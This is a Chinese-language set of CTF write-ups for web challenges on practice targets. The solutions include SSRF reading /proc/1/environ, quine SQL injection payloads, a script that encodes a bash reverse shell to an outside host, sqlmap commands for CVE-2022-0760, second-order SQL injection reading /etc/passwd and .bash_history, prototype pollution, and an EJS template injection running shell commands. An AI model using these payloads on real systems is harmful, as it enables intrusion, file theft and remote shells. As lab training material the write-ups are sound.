考点:SSRF
打开题目发现是curl命令,提示填入url
尝试http://www.baidu.com
,成功跳转
将url的字符串拿去解码,得到json格式数据
读取下环境变量,得到flag
{"url":"file:///proc/1/environ"}
考点:quine注入
存在filter() 函数可以用于访问 php://filter 伪协议来处理文件
简单测试下,过滤了string,base64。那么我们换个过滤器即可
php://filter/convert.iconv.UTF-8.UTF-16/resource=flag.php
得到源码
考点就是quine注入
发现过滤了char(chr试过但是无回显)
那么用0x绕过
payload
1'/**/union/**/select/**/replace(replace('1"/**/union/**/select/**/replace(replace(".",0x22,0x27),0x2e,".")#',0x22,0x27),0x2e,'1"/**/union/**/select/**/replace(replace(".",0x22,0x27),0x2e,".")#')#
但是发现事不过三
应该是对replace的过滤,我们大小写绕过
username=admin&password=1'/**/union/**/select/**/replace(REPLACE('1"/**/union/**/select/**/replace(REPLACE(".",0x22,0x27),0x2e,".")#',0x22,0x27),0x2e,'1"/**/union/**/select/**/replace(REPLACE(".",0x22,0x27),0x2e,".")#')#
源码
规定了白名单然后是无回显RCE
参考大佬的构造脚本反弹shell
import requests
# 八进制
n = dict()
n[0] = '${#}'
n[1] = '${##}'
n[2] = '$((${##}<<${##}))'
n[3] = '$(($((${##}<<${##}))#${##}${##}))'
n[4] = '$((${##}<<$((${##}<<${##}))))'
n[5] = '$(($((${##}<<${##}))#${##}${#}${##}))'
n[6] = '$(($((${##}<<${##}))#${##}${##}${#}))'
n[7] = '$(($((${##}<<${##}))#${##}${##}${##}))'
f = ''
def str_to_oct(cmd): #命令转换成八进制字符串
s = ""
for t in cmd:
o = ('%s' % (oct(ord(t))))[2:]
s+='\\'+o
return s
def build(cmd): #八进制字符串转换成字符
payload = "$0<<<$0\<\<\<\$\\\'" #${!#}与$0等效
s = str_to_oct(cmd).split('\\')
for _ in s[1:]:
payload+="\\\\"
for i in _:
payload+=n[int(i)]
return payload+'\\\''
# def get_flag(url,payload): #盲注函数
# try:
# data = {'cmd':payload}
# r = requests.post(url,data,timeout=1.5)
# except:
# return True
# return False
# 弹shell
print(build('bash -i >& /dev/tcp/5i781963p2.yicp.fun/58265 0>&1'))
#盲注
#a='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_{}@'
# for i in range(1,50):
# for j in a:
# cmd=f'cat /flag|grep ^{f+j}&&sleep 3'
# url = "http://ip/"
# if get_flag(url,build(cmd)):
# break
# f = f+j
# print(f)
提交1000次即可得到flag
关键点在于计算要延续上一次结果,不然脚本就会一直是第一次成功
所以我们先提交一次得到res.text的结果,然后循环计算
脚本
import re
import requests
import time
url = 'http://node4.anna.nssctf.cn:28509/index.php'
session=requests.session()
req = session.get(url)
result = re.findall("
(\d.*?)
",req.text)
result = "".join(result)
result = eval(result)
data={"answer":result}
res = session.post(url,data)
for i in range(1000):
result=re.findall("
(\d.*?)
",res.text)
result="".join(result)
result=eval(result)
data={"answer":result}
res = session.post(url,data)
res.encoding="utf-8"
print(str(i))
if "NSSCTF" in res.text:
print("计算完成")
print(res.text)
break
time.sleep(0.1)
(用的是buu的靶机)
打开题目,扫一下发现git泄露
得到源码
$y){
$$x = $y;
}
foreach($_GET as $x => $y){
$$x = $$y;
}
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
}
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}
echo "the flag is: ".$flag;
直接foreach变量覆盖,用 if($_GET['flag'] === $x && $x !== 'flag')
?handsome=flag&flag=handsome
考点:CVE-2022-0760
打开发现是wordpress,F12看下源码找到version
查找一番发现存在CVE-2022-0760漏洞
sqlmap -u "http://node5.anna.nssctf.cn:28191/wp-admin/admin-ajax.php" --data="action=qcopd_upvote_action&post_id=1" --dbs
sqlmap -u "http://node5.anna.nssctf.cn:28191/wp-admin/admin-ajax.php" --data="action=qcopd_upvote_action&post_id=1" -D ctftraining -T flag -C "flag" --dump
看来要用vim恢复备份文件,访问/.index.php.swp
然后复制到kali,命令行输入vim -r index.php.swp
即可
分析一下,要求code的数经过MD5加密后前五位要满足session的code值;然后无字母数字和部分字符RCE,并且是无参的
我们在源码发现code要满足的前五位会告诉我们
我们用脚本爆破
import hashlib
for i in range(1,1000000000):
str1=hashlib.md5(str(i).encode("UTF-8")).hexdigest()
if(str1[0:5]=='574bb'):
print(i)
print(str1)
break
然后命令执行的话,发现取反字符没被过滤,试试构造phpinfo();
# -*- coding: utf-8 -*
# /usr/bin/python3
# @Author:Firebasky
exp = ""
def urlbm(s):
ss = ""
for each in s:
ss += "%" + str(hex(255 - ord(each)))[2:]
return f"[~{ss}][!%FF]("
while True:
fun = input("Firebasky>: ").strip(")").split("(")
exp = ''
for each in fun[:-1]:
exp += urlbm(each)
print(exp)
exp += ")" * (len(fun) - 1) + ";"
print(exp)
成功执行
system(next(getallheaders()));
考点:git源码恢复、二次注入
扫一下目录,发现有git泄露
直接用git_extract(githack得到的源码不全)
git_extract直接把不全的源码恢复了
0){
$category = mysql_fetch_array($result)['category'];
$content = addslashes($_POST['content']);
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
$result = mysql_query($sql);
}
header("Location: ./comment.php?id=$bo_id");
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>
分析一下,首先要登陆成功然后有发帖和留言的功能。
发帖的时候会对三个参数都进行addslashes处理,也就是会转义,比如上传1'
并不会闭合前面的单引号。而留言的时候可以发现并没有对category进行转义处理,那么我们就可以利用二次注入
登陆账号和密码告诉我们
zhangwei
zhangwei***
直接拿bp爆破就行了,得到666
//假设我们发帖内容为
category=1',content=user(),/*
titie=114514
content=*/
//write发帖插入数据后(注意这里category的单引号因为转义并不会闭合)
$sql = "insert into board
set category = '1',content=user(),/*',
title = '114514',
content = '*/'";
//comment留言传参content=*/#
$sql = "insert into comment
set category = '1',content=user(),/*',
content = '*/#',
bo_id = '$bo_id'";
//由于这里category不会被转义所以成功
$sql = "insert into comment
set category = '1',
content=user(),
bo_id = '$bo_id'";
category=1',content=load_file('/etc/passwd'),/*
content=*/
然后再留言注释掉
content=*/#
可以看到www用户的home目录,接下来可以看一下该用户的历史操作。
1',content=load_file('/home/www/.bash_history'),/*
发现对文件.DS_Store进行了删除
那么/tmp/html下面应该还存在.DS_Store
同时因为这是二进制文件,我们加个hex编码,payload为
1',content=hex(load_file('/tmp/html/.DS_Store')),/*
1', content=(hex(load_file('/var/www/html/flag_8946e1ff1ee3e40f.php'))),/*
考点:原型链污染,ejs模板注入
源码如下
const express = require('express');
const bodyParser = require('body-parser');
const session = require('express-session');
const randomize = require('randomatic');
const ejs = require('ejs');
const path = require('path');
const app = express();
function merge(target, source) {
for (let key in source) {
// Prevent prototype pollution
if (key === '__proto__') {
throw new Error("Detected Prototype Pollution")
}
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}
app
.use(bodyParser.urlencoded({extended: true}))
.use(bodyParser.json());
app.set('views', path.join(__dirname, "./views"));
app.set('view engine', 'ejs');
app.use(session({
name: 'session',
secret: randomize('aA0', 16),
resave: false,
saveUninitialized: false
}))
app.all("/login", (req, res) => {
if (req.method == 'POST') {
// save userinfo to session
let data = {};
try {
merge(data, req.body)
} catch (e) {
return res.render("login", {message: "Don't pollution my shared diary!"})
}
req.session.data = data
// check password
let user = {};
user.password = req.body.password;
if (user.password=== "testpassword") {
user.role = 'admin'
}
if (user.role === 'admin') {
req.session.role = 'admin'
return res.redirect('/')
}else {
return res.render("login", {message: "Login as admin or don't touch my shared diary!"})
}
}
res.render('login', {message: ""});
});
app.all('/', (req, res) => {
if (!req.session.data || !req.session.data.username || req.session.role !== 'admin') {
return res.redirect("/login")
}
if (req.method == 'POST') {
let diary = ejs.render(`${req.body.diary}`)
req.session.diary = diary
return res.render('diary', {diary: req.session.diary, username: req.session.data.username});
}
return res.render('diary', {diary: req.session.diary, username: req.session.data.username});
})
app.listen(8888, '0.0.0.0');
存在merge函数可以进行原型链污染,但是过滤了__proto__
可以用constructor.prototype代替;/login
路由下存在原型链污染漏洞,创建变量,检测role值是否为admin,如果是则跳转到跟路由;/
路由下存在ejs模板注入
题目可以解析通过 POST 请求发送的 JSON 数据。
.use(bodyParser.json());
所以payload如下
{
"username":"admin",
"password":"123456",
"constructor":{
"prototype":{
"role":"admin"
}
}
}
bp抓包,修改Content-Type为json,成功得到session
然后用此session登录即可,直接访问跟路由
利用代码
let diary = ejs.render(`${req.body.diary}`)
ejs.render() 存在SSTI漏洞 可以插⼊<%- %>
标签来执行任意js,能够直接完成RCE
payload
<%- global.process.mainModule.require('child_process').execSync('cat /flag') %>